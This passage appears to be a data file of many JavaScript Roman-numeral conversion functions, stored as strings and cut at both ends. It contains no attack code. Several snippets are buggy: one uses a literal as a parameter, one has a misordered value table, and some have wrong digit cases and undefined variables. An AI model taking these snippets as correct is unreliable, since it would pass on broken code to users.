while(RomanNum[i]<= num){\n conver += RomanAlpha[i];\n num -= RomanNum[i];\n }\n }\n return conver;\n}", "function convertToRoman(num) {\n\n //create an empty string\n var roman = \"\";\n //create an array of possible roman numerals up to 1000\n var romanNumeral = [\"M\", \"CM\", \"D\", \"CD\", \"C\", \"XC\", \"L\", \"XL\", \"X\", \"IX\", \"V\", \"IV\", \"I\"];\n //create array of possible number values\n var numbers = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n //iterate for a length of our numbers array\n for (var i=0; i<numbers.length; i++) {\n //while original number is larger than inputted numbers array\n while(num >= numbers[i]) {\n //add its equivalent roman numeral to our original empty string\n roman = roman + romanNumeral[i];\n //subtract the value from original number to end the while loop\n num = num - numbers[i];\n }\n }\n return roman;\n}", "function convertToRoman_1(num) {\n let value = [1, 4, 5, 9, 10, 40, 50, 90, 100, 400, 500, 900, 1000];\n let symbols = [\n \"I\",\n \"IV\",\n \"V\",\n \"IX\",\n \"X\",\n \"XL\",\n \"L\",\n \"XC\",\n \"C\",\n \"CD\",\n \"D\",\n \"CM\",\n \"M\",\n ];\n let i = 12;\n let result = \"\";\n while (num > 0) {\n let division = Math.floor(num / value[i]);\n num = num % value[i];\n while (division--) {\n result += symbols[i];\n }\n i--;\n }\n return result;\n}", "function convertToRoman(num) {\n const roman = [[\"I\",\"II\",\"III\",\"IV\",\"V\",\"VI\",\"VII\",\"VIII\",\"IX\",\"X\"],[\"X\",\"XX\",\"XXX\",\"XL\",\"L\",\"LX\",\"LXX\",\"LXXX\",\"XC\",\"C\"],[\"C\",\"CC\",\"CCC\",\"CD\",\"D\",\"DC\",\"DCC\",\"DCCC\",\"CM\",\"M\"],[\"M\"]];\n if(num <=10){\n return roman[0][num-1];\n }\n if(num > 10){\n let splited = num.toString().split(\"\").reverse();\n splited = splited.map(x => parseInt(x));\n \n let result = [];\n for(let b = 0; b < splited.length; b++){\n if(b < 3){\n result.push(roman[b][parseInt(splited[b])-1]);\n }else if(b === 3){\n for(let i = 0; i < splited[3]; i++){\n result.push(\"M\");\n }\n }else{\n return undefined;\n }\n }\nreturn result.reverse().join(\"\");\n}\n}", "function integerToRoman(n){\n var roman = [\"M\", \"CM\", \"D\", \"CD\", \"C\", \"XC\", \"L\", \"XL\", \"X\", \"IX\", \"V\", \"IV\", \"I\"];\n var value = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n var result = \"\";\n for (var i=0; i<value.length; i++){\n while(n >= value[i]){\n result += roman[i];\n n -= value[i];\n }\n }\n return result;\n}", "function convertToRoman_2(num) {\n let m = [\"\", \"M\", \"MM\", \"MMM\"];\n let c = [\"\", \"C\", \"CC\", \"CCC\", \"CD\", \"D\", \"DC\", \"DCC\", \"DCCC\", \"CM\"];\n let x = [\"\", \"X\", \"XX\", \"XXX\", \"XL\", \"L\", \"LX\", \"LXX\", \"LXXX\", \"XC\"];\n let i = [\"\", \"I\", \"II\", \"III\", \"IV\", \"V\", \"VI\", \"VII\", \"VIII\", \"IX\"];\n\n let thousand = m[Math.floor(num / 1000)];\n let hundred = c[Math.floor((num % 1000) / 100)];\n let tens = x[Math.floor((num % 100) / 10)];\n let ones = i[num % 10];\n\n return thousand + hundred + tens + ones;\n}", "function decimalToRoman (decNumber) {\n var romNumeral = \"\";\n\n // Implement here!\n\n return romNumeral;\n}", "function convertToRoman(num) {\n if (isNaN(num))\n return NaN;\n var digits = String(+num).split(\"\"),\n key = [\"\",\"C\",\"CC\",\"CCC\",\"CD\",\"D\",\"DC\",\"DCC\",\"DCCC\",\"CM\",\n \"\",\"X\",\"XX\",\"XXX\",\"XL\",\"L\",\"LX\",\"LXX\",\"LXXX\",\"XC\",\n \"\",\"I\",\"II\",\"III\",\"IV\",\"V\",\"VI\",\"VII\",\"VIII\",\"IX\"],\n roman = \"\",\n i = 3;\n console.log(`Digits array is [${digits}]`)\n while (i--)\n roman = (key[+digits.pop() + (i * 10)] || \"\") + roman;\n console.log(`roman is ${roman}`)\n return Array(+digits.join(\"\") + 1).join(\"M\") + roman;\n}", "function numToRomanNumeralv1(num) {\n \n var result = \"\"\n var roman = ['M', 'CM', 'D', 'CD', 'C', 'L', 'XC', 'X', 'IX', 'V', 'IV', 'I']\n var integer = [1000, 900, 500, 400, 100, 50, 90, 10, 9, 5, 4, 1]\n \n for (let i = 0; i < roman.length; i++) {\n while (num >= integer[i]) {\n result += roman[i];\n num -= integer[i];\n }\n }\n return result;\n}", "function convertToRoman(num) {\n var obj = {M:1000, CM:900, DCCC:800, DCC:700, DC:600, D:500, CD:400, CCC:300, CC:200, C:100, XC:90, LXXX:80, LXX:70, LX:60, L:50, XL:40, XXX:30, XX:20, X:10, IX:9, VIII:8, VII:7, VI:6, V:5, IV:4, III:3, II:2, I:1} // initialize variable to the object;\n var roman = ''; // initialize variable to the empty string;\n\n for (var key in obj) {\n while(num >= obj[key]) { // while the num variable is greater than or equal to the current value of property;\n roman += key; // Add its equivalent roman numeral to original empty string.\n num -= obj[key]; // Make num equal to num less the value of property;\n }\n }\n\n return roman;\n}", "function RomanNumeralsHelper() {\n}", "function toRoman(num){\nlet roman = \"\"; \n\nlet diccionario = {\n M: 1000,\n CM: 900,\n D: 500,\n CD: 400,\n C: 100,\n XC: 90,\n L: 50,\n XL: 40,\n X: 10,\n IX: 9,\n V: 5,\n IV: 4,\n I: 1\n }\n\n if (typeof num !== \"number\") {\n console.log(\"Introduce numero valido\");\n }else if (typeof num === \"number\"){\n for (let key in diccionario) {\n while (num >= diccionario[key]){\n //console.log(\"num es:\", num) -> para ir viendo como va num\n roman += key;\n num -= diccionario[key];\n \n //console.log(\"roman es: \", roman) -- > Para ir viendo como se añaden las letras de nº romanos.\n \n }\n }\n return roman;\n \n }\n}", "function convertToRoman(num) {\n let numSplit = separateUnits(num); \n // console.log(numSplit); // Testing \n\n let romanNum = \"\";\n\nfor (let i=0; i<numSplit.length; i++){\n switch(numSplit[i]){\n case 3000:\n romanNum +=\"MMM\";\n break;\n case 2000:\n romanNum +=\"MM\";\n break;\n case 1000:\n romanNum +=\"M\";\n break; \n case 900:\n romanNum +=\"CM\";\n break;\n case 800:\n romanNum +=\"DCCC\";\n break;\n case 700:\n romanNum +=\"DCC\";\n break;\n case 600:\n romanNum +=\"DC\";\n break;\n case 500:\n romanNum +=\"D\";\n break;\n case 400:\n romanNum +=\"CD\";\n break;\n case 300:\n romanNum +=\"CCC\";\n break;\n case 200:\n romanNum +=\"CC\";\n break;\n case 100:\n romanNum +=\"C\";\n break;\n case 90:\n romanNum +=\"XC\";\n break;\n case 80:\n romanNum +=\"LXXX\";\n break;\n case 70:\n romanNum +=\"LXX\";\n break;\n case 60:\n romanNum +=\"LX\";\n break;\n case 50:\n romanNum +=\"L\";\n break;\n case 40:\n romanNum +=\"XL\";\n break;\n case 30:\n romanNum +=\"XXX\";\n break;\n case 20:\n romanNum +=\"XX\";\n break;\n case 10:\n romanNum +=\"X\";\n break;\n case 9:\n romanNum +=\"IX\";\n break;\n case 8:\n romanNum +=\"VIII\";\n break;\n case 7:\n romanNum +=\"VII\";\n break;\n case 6:\n romanNum +=\"VI\";\n break;\n case 5:\n romanNum +=\"V\";\n break;\n case 4:\n romanNum +=\"IV\";\n break;\n case 3:\n romanNum +=\"III\";\n break;\n case 2:\n romanNum +=\"II\";\n break;\n case 1:\n romanNum +=\"I\";\n break;\n}\n\n\n}\nreturn romanNum;\n} // function", "function convertToRoman(num) {\n const map = {\n M: 1000,\n CM: 900,\n D: 500,\n CD: 400,\n C: 100,\n XC: 90,\n L: 50,\n XL: 40,\n X: 10,\n IX: 9,\n V: 5,\n IV: 4,\n I: 1,\n };\n let result = '';\n \n\n for (let key in map) { \n const repeatCounter = Math.floor(num / map[key]);\n \n if (repeatCounter !== 0) {\n result += key.repeat(repeatCounter);\n }\n \n num %= map[key];\n \n if (num === 0) return result;\n }\n \n console.log(\"result:\", result);\n return result;\n }", "function convertToRoman(num){\n\n let roman_numeral = \"\";\n \n \n while(true){\n let max = findMax(num);\n if(max == 1){\n roman_numeral += \"I\";\n num = num - max;\n }\n else if(max == 4){\n roman_numeral += \"IV\";\n num = num - max;\n }\n else if(max == 5){\n roman_numeral += \"V\";\n num = num - max;\n }\n else if(max == 9){\n roman_numeral += \"IX\";\n num = num - max;\n }\n else if(max == 10){\n roman_numeral += \"X\";\n num = num - max;\n }\n else if(max == 40){\n roman_numeral += \"XL\";\n num = num - max;\n }\n else if(max == 50){\n roman_numeral += \"L\";\n num = num - max;\n }\n else if(max == 90){\n roman_numeral += \"XC\";\n num = num - max;\n }\n else if(max == 100){\n roman_numeral += \"C\";\n num = num - max;\n }\n else if(max == 400){\n roman_numeral += \"CD\";\n num = num - max;\n }\n else if(max == 500){\n roman_numeral += \"D\";\n num = num - max;\n }\n else if(max == 900){\n roman_numeral += \"CM\";\n num = num - max;\n }\n else if(max == 1000){\n roman_numeral += \"M\";\n num = num - max;\n }\n if(num == 0){\n break;\n }\n \n }\n\n return roman_numeral;\n}", "function getRoman(value) {\r\n var romanNumeral = \"\";\r\n for (var i = 0; i < romanLetters.length; i++) {\r\n while (value >= numericalLetters[i]) {\r\n value -= numericalLetters[i];\r\n romanNumeral += romanLetters[i];\r\n }\r\n }\r\n return romanNumeral;\r\n }", "function solution(number){\n var roman = {M:1000,CM:900, D:500,CD:400,C:100,XC:90,L:50,XL:40,X:10,IX:9,V:5,IV:4,I:1 }\n var ans = '';\n while (number > 0) {\n for(a in roman) { \n if(roman[a] <= number) {\n ans += a; \n number -= roman[a]; \n break;\n } \n }\n }\n return ans;\n}", "function intToRoman(int){\n var romanNum = \"\"\n if(int > 999){\n var thousandth = Math.floor((int/1000)%10)\n console.log(thousandth)\n }\n if(int > 99){\n var hundredth = Math.floor((int/100)%10)\n console.log(hundredth)\n }\n if(int > 9){\n var tenth = Math.floor((int/10)%10)\n console.log(tenth)\n }\n var ones = int%10\n console.log(ones)\n switch(thousandth){\n case 4:\n romanNum += \"MMMM\"\n break\n case 3:\n romanNum += \"MMM\"\n break\n case 2:\n romanNum += \"MM\"\n break\n case 1:\n romanNum += \"M\"\n break\n default:\n break\n }\n switch(hundredth){\n case 9:\n romanNum += \"CM\"\n break\n case 8:\n romanNum += \"DCCC\"\n break\n case 7:\n romanNum += \"DCC\"\n break\n case 6:\n romanNum += \"DC\"\n break\n case 5:\n romanNum += \"D\"\n break\n case 4:\n romanNum += \"CD\"\n break\n case 3:\n romanNum += \"CCC\"\n break\n case 2:\n romanNum += \"CC\"\n break\n case 1:\n romanNum += \"C\"\n break\n default:\n break\n }\n switch(tenth){\n case 9:\n romanNum += \"XC\"\n break\n case 8:\n romanNum += \"LXXX\"\n break\n case 7:\n romanNum += \"LXX\"\n break\n case 6:\n romanNum += \"LX\"\n break\n case 5:\n romanNum += \"L\"\n break\n case 4:\n romanNum += \"XL\"\n break\n case 3:\n romanNum += \"XXX\"\n break\n case 2:\n romanNum += \"XX\"\n break\n case 1:\n romanNum += \"X\"\n break\n default:\n break\n }\n switch(ones){\n case 9:\n romanNum += \"IX\"\n break\n case 8:\n romanNum += \"VIII\"\n break\n case 7:\n romanNum += \"VII\"\n break\n case 6:\n romanNum += \"VI\"\n break\n case 5:\n romanNum += \"V\"\n break\n case 4:\n romanNum += \"IV\"\n break\n case 3:\n romanNum += \"III\"\n break\n case 2:\n romanNum += \"II\"\n break\n case 1:\n romanNum += \"I\"\n break\n default:\n break\n }\n console.log(romanNum)\n return romanNum\n}", "function romanNumerals(num) {\n let romanRef = {M:1000, CM:900, D:500, CD:400, C:100, XC:90, L:50, XL:40, X:10, IX:9, V:5, IV:4, I:1};\n let numeral = '';\n for ( let i in romanRef ) {\n while ( num >= romanRef[i] ) {\n numeral += i;\n num -= romanRef[i];\n }\n }\n return numeral;\n}", "function decimalToRoman (1053) {\n \tvar romNumeral = \"\";\n while (i >= 1000) {\n romNumeral += \"M\";\n i -= 1000; }\n while (i >= 900) {\n romNumeral += \"CM\";\n i -= 900;\n }\n while (i >= 500) {\n romNumeral += \"D\";\n i -= 500;\n }\n while (i >= 400) {\n romNumeral += \"CD\";\n i -= 400;\n }\n while (i >= 100) {\n romNumeral += \"C\";\n i -= 100;\n }\n while (i >= 90) {\n romNumeral += \"XC\";\n i -= 90;\n }\n while (i >= 50) {\n romNumeral += \"L\";\n i -= 50;\n }\n while (i >= 40) {\n romNumeral += \"XL\";\n i -= 40;\n }\n while (i >= 10) {\n romNumeral += \"X\";\n i -= 10;\n }\n while (i >= 9) {\n romNumeral += \"IX\";\n i -= 9;\n }\n while (i >= 5) {\n romNumeral += \"V\";\n i -= 5;\n }\n while (i >= 4) {\n romNumeral += \"IV\";\n i -= 4;\n }\n while (i >= 1) {\n romNumeral += \"I\";\n i -= 1;\n } \n console.log(romNumeral);\n\treturn romNumeral;\n}", "function convertToRoman(num) {\n //function to find first occurence of number being less than item in array\n function findDec(element) {\n return num < element;\n }\n\n const romans = [\n \"I\",\n \"IV\",\n \"V\",\n \"IX\",\n \"X\",\n \"XL\",\n \"L\",\n \"XC\",\n \"C\",\n \"CD\",\n \"D\",\n \"CM\",\n \"M\",\n \"MMMM\",\n \"V!\"\n ];\n const decimals = [\n 1,\n 4,\n 5,\n 9,\n 10,\n 40,\n 50,\n 90,\n 100,\n 400,\n 500,\n 900,\n 1000,\n 4000,\n 5000\n ];\n let romArr = [];\n\n let index1 = decimals.findIndex(findDec);\n console.log(\"index 1 :\" + index1);\n\n //run loop until provided number is 0\n for (let i = 0; num > 0; i++) {\n let index = decimals.findIndex(findDec); //index where number is less than element in array\n\n romArr.push(romans[index - 1]); //push the roman element with above index - 1 to get highest numeral before being too low\n num -= decimals[index - 1]; //set num equal to itself minus it's relative roman numeral above\n console.log(num);\n }\n\n return romArr.join(\"\");\n}", "function decToRom(number) {\n const roman = {\n divide: [1000,900,500,400,100,90,50,40,10,9,5,4,1],\n char: [\"M\",\"CM\",\"D\",\"CD\",\"C\",\"XC\",\"L\",\"XL\",\"X\",\"IX\",\"V\",\"IV\",\"I\"]\n };\n let remainder = number;\n let newArray = []\n for (i = 0; i < 13; i++) {\n newArray.push(roman.char[i].repeat(Math.floor(remainder / roman.divide[i])));\n remainder = remainder % roman.divide[i];\n }\n return newArray.join('');\n}", "static fromRoman(str) {\n \n // Initialize an empty array.\n var temp = []\n \n // Loop over each roman numeral of the input \"str.\"\n for (var char of str) {\n // Add the corresponding decimal value of each roman numeral to the \"temp\" array.\n switch(char) {\n case \"I\":\n temp.push(1);\n break;\n case \"V\":\n temp.push(5);\n break;\n case \"X\":\n temp.push(10);\n break;\n case \"L\":\n temp.push(50);\n break;\n case \"C\":\n temp.push(100);\n break;\n case \"D\":\n temp.push(500);\n break;\n case \"M\":\n temp.push(1000);\n break;\n default:\n break; \n }\n }\n \n // Check for subtractive cases, i.e. when a smaller roman numeral precedes a larger roman numeral.\n for (var i = 0; i < temp.length-1; i++) {\n if (temp[i] < temp[i+1]) {\n // Multiply the subtractive roman numeral by -2 and add it to the end of the \"temp\" array. This has the same effect as subtracting it.\n temp.push(temp[i] * -2) \n } \n }\n \n // Add up all the converted roman numerals in the \"temp\" array and return as the solution.\n return temp.reduce(function (total, num) {return total + num;})\n }", "function roman(){\n let number = prompt(\"Write a number up to 4000\");\n //number= parseInt(number);\n let ronum = \"\";\n console.log(number);\n let numarray = [number[0],number[1],number[2],number[3]];\n \n if(number[0]==1){\n ronum=ronum+'M';\n }\n else if(number[0]==2){\n ronum=ronum+'MM';\n }\n else if(number[0]==3){\n ronum=ronum+'MMM';\n }\n console.log(ronum);\n\n if(number[1]==1){\n ronum=ronum+'C';\n }\n else if(number[1]==0){\n ronum=ronum;\n }\n else if(number[1]==2){\n ronum=ronum+'CC';\n }\n else if(number[1]==3){\n ronum=ronum+'CC';\n }\n else if(number[1]==4){\n ronum=ronum+'CD';\n }\n else if(number[1]==5){\n ronum=ronum+'D';\n }\n else if(number[1]==6){\n ronum=ronum+'DC';\n }\n else if(number[1]==7){\n ronum=ronum+'DCC';\n }\n else if(number[1]==8){\n ronum=ronum+'DCCC';\n }\n else if(number[1]==9){\n ronum=ronum+'CM';\n }\n\n if(number[2]==1){\n ronum=ronum+'X'\n }\n else if(number[2]==0){\n ronum=ronum;\n }\n else if(number[2]==2){\n ronum=ronum+'XX'\n }\n else if(number[2]==3){\n ronum=ronum+'XXX'\n }\n else if(number[2]==4){\n ronum=ronum+'XL'\n }\n else if(number[2]==5){\n ronum=ronum+'L'\n }\n else if(number[2]==6){\n ronum=ronum+'LX'\n }\n else if(number[2]==7){\n ronum=ronum+'LXX'\n }\n else if(number[2]==8){\n ronum=ronum+'LXXX'\n }\n else if(number[2]==9){\n ronum=ronum+'XC'\n }\n \n\n if(number[3]==1) {\n ronum= ronum+'I';\n }\n else if(number[3]==2) {\n ronum= ronum+'II';\n }\n else if(number[3]==0){\n ronum=ronum;\n }\n else if(number[3]==3) {\n ronum= ronum+'III';\n }\n else if(number[3]==4) {\n ronum= ronum+'IV';\n }\n else if(number[3]==5) {\n ronum= ronum+'V';\n }\n else if(number[3]==6) {\n ronum= 'VI';\n }\n else if(number[3]==7) {\n ronum= 'VII';\n }\n else if(number[3]==8) {\n ronum= 'VIII';\n }\n else if(number[3]==9) {\n ronum= 'IX';\n }\n\n console.log(ronum);\n}", "function convertToRoman(num) {\n // get input\n num = document.getElementById(\"num\").value;\n // Create an empty string for the result \n let result = [];\n\n // list all relevant numbers and numerals\n let arabicNum = [1000000,500000,100000,50000,10000,5000,1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1];\n \n let romanNum = [\"_M\",\"_D\",\"_C\",\"_L\",\"_X\",\"_V\",\"M\",\"CM\",\"D\",\"CD\",\"C\",\"XC\",\"L\",\"XL\",\"X\",\"IX\",\"V\",\"IV\",\"I\"];\n\n // Loop through the numbers while the number is greater than the number, keep looping\n arabicNum.map((number, i) => { \n while (num >= number) {\n // add numerals as you go --> loop numbers, find 1st, loop again, find 2nd\n result += romanNum[i];\n num -= number;\n }\n\n // add pop-up with result\n document.getElementById(\"answer\").innerHTML = result;\n });\n }", "function convertToRoman(num) {\n //works on numbers under 4000 only\n //array with roman numerals\n var romanNum = [\"M\",\"CM\",\"D\",\"CD\",\"C\",\"XC\",\"L\",\"XL\",\"X\",\"IX\",\"V\",\"IV\",\"I\"];\n //matching array with arabic numbers\n var arabicNum = [1000,900,500,400,100,90,50,40,10,9,5,4,1];\n //result will be string\n var result = \"\";\n\n //loop through length of array, same for both\n //maybe use indexOf?\n for(i = 0; i < romanNum.length; i++){\n //while input value is greater or equal to the current arabic num in array\n //example: 36; will start checking from 10 b/c smaller than 40\n while (num >= arabicNum[i]) {\n //input value - current arabic num in array\n num -= arabicNum[i];\n //result is the string of matching roman numeral in same spot of array\n //X+X+X, then is smaller than 10\n result += romanNum[i];\n }\n }\n return result;\n //return num;\n}", "function convertToRoman(num) {\nvar arr=[];\nvar m = Math.floor(num/1000);\nfor(let i=0;i<m;i++){ //how many thousands\narr.push(\"M\");\n}\nvar remainderM = num%1000;\nif(remainderM>=900){ //remainderM more than 900\narr.push(\"CM\");\nvar remainder900 = remainderM % 900;\nif (remainder900 >=90){\narr.push(\"XC\");\nvar remainder90= remainder900%90;\nif(remainder90>5){\nvar remainder5= remainder90%5;\nif(remainder5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainder5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder90==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder90==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder90>0){\nfor (let i=0;i<remainder90;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder900>=50){\narr.push(\"L\");\nvar remainder50= remainder900%50;\nvar tens=Math.floor(remainder50/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nvar remainder10=remainder50%10;\n\nif(remainder10>5){\nvar remainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder900>=40){\narr.push(\"XL\");\n\nvar remainder40= remainder900%40;\nif(remainder40>5){\nvar remainderForty5= remainder40%5;\nif(remainderForty5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderForty5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder40==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder40==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder40>0){\nfor (let i=0;i<remainder40;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder900>0){\n\n\n\ntens=Math.floor(remainder900/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder900%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse{\nif(remainderM>=500){ //remainderM more than 500\narr.push(\"D\");\nvar remainder500=remainderM%500;\nfor (let i=0;i<Math.floor(remainder500/100);i++){\narr.push(\"C\");\n}\n\n\n\nvar remainder100 = remainder500 % 100;\nif (remainder100 >=90){\narr.push(\"XC\");\nremainder90= remainder100%90;\nif(remainder90>5){\nremainder5= remainder90%5;\nif(remainder5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainder5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder90==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder90==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder90>0){\nfor (let i=0;i<remainder90;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder100>=50){\narr.push(\"L\");\nremainder50= remainder100%50;\ntens=Math.floor(remainder50/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder50%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder100>=40){\narr.push(\"XL\");\n\nremainder40= remainder100%40;\nif(remainder40>5){\nremainderForty5= remainder40%5;\nif(remainderForty5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderForty5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder40==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder40==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder40>0){\nfor (let i=0;i<remainder40;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder100>0){\n\n\n\ntens=Math.floor(remainder100/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder100%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainderM>=400){ //remainderM more than 400\narr.push(\"CD\");\n\nvar remainder400 = remainderM % 100;\nif (remainder400 >=90){\narr.push(\"XC\");\nremainder90= remainder100%90;\nif(remainder90>5){\nremainder5= remainder90%5;\nif(remainder5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainder5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder90==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder90==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder90>0){\nfor (let i=0;i<remainder90;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder400>=50){\narr.push(\"L\");\nremainder50= remainder400%50;\ntens=Math.floor(remainder50/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder50%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder400>=40){\narr.push(\"XL\");\n\nremainder40= remainder400%40;\nif(remainder40>5){\nremainderForty5= remainder40%5;\nif(remainderForty5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderForty5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder40==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder40==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder40>0){\nfor (let i=0;i<remainder40;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder400>0){\n\ntens=Math.floor(remainder400/10);\nfor(let i=0;i<tens;i++){\narr.push(\"X\");\n}\nremainder10=remainder400%10;\n\nif(remainder10>5){\nremainderTen5= remainder10%5;\nif(remainderTen5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainderTen5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder10==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder10==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder10>0){\nfor (let i=0;i<remainder10;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if (remainderM>0){ //remainderM less than 400\n\n\n\n\n\nfor (let i=0;i<Math.floor(remainderM/100);i++){\narr.push(\"C\");\n}\n\n\n\nremainder100 = remainderM % 100;\nif (remainder100 >=90){\narr.push(\"XC\");\nremainder90= remainder100%90;\nif(remainder90>5){\nremainder5= remainder90%5;\nif(remainder5==4){\narr.push(\"IX\");\nreturn arr.join(\"\");\n}\nelse {\narr.push(\"V\");\nfor (let i=0;i<remainder5;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\n}\nelse if(remainder90==5){\narr.push(\"V\");\nreturn arr.join(\"\");\n}\nelse if(remainder90==4){\narr.push(\"IV\");\nreturn arr.join(\"\");\n}\nelse if(remainder90>0){\nfor (let i=0;i<remainder90;i++){\narr.push(\"I\");\n}\nreturn arr.join(\"\");\n}\nelse {\nreturn arr.join(\"\");\n}\n}\nelse if(remainder100>=50){\narr.push(\"L\");\nremainder50= 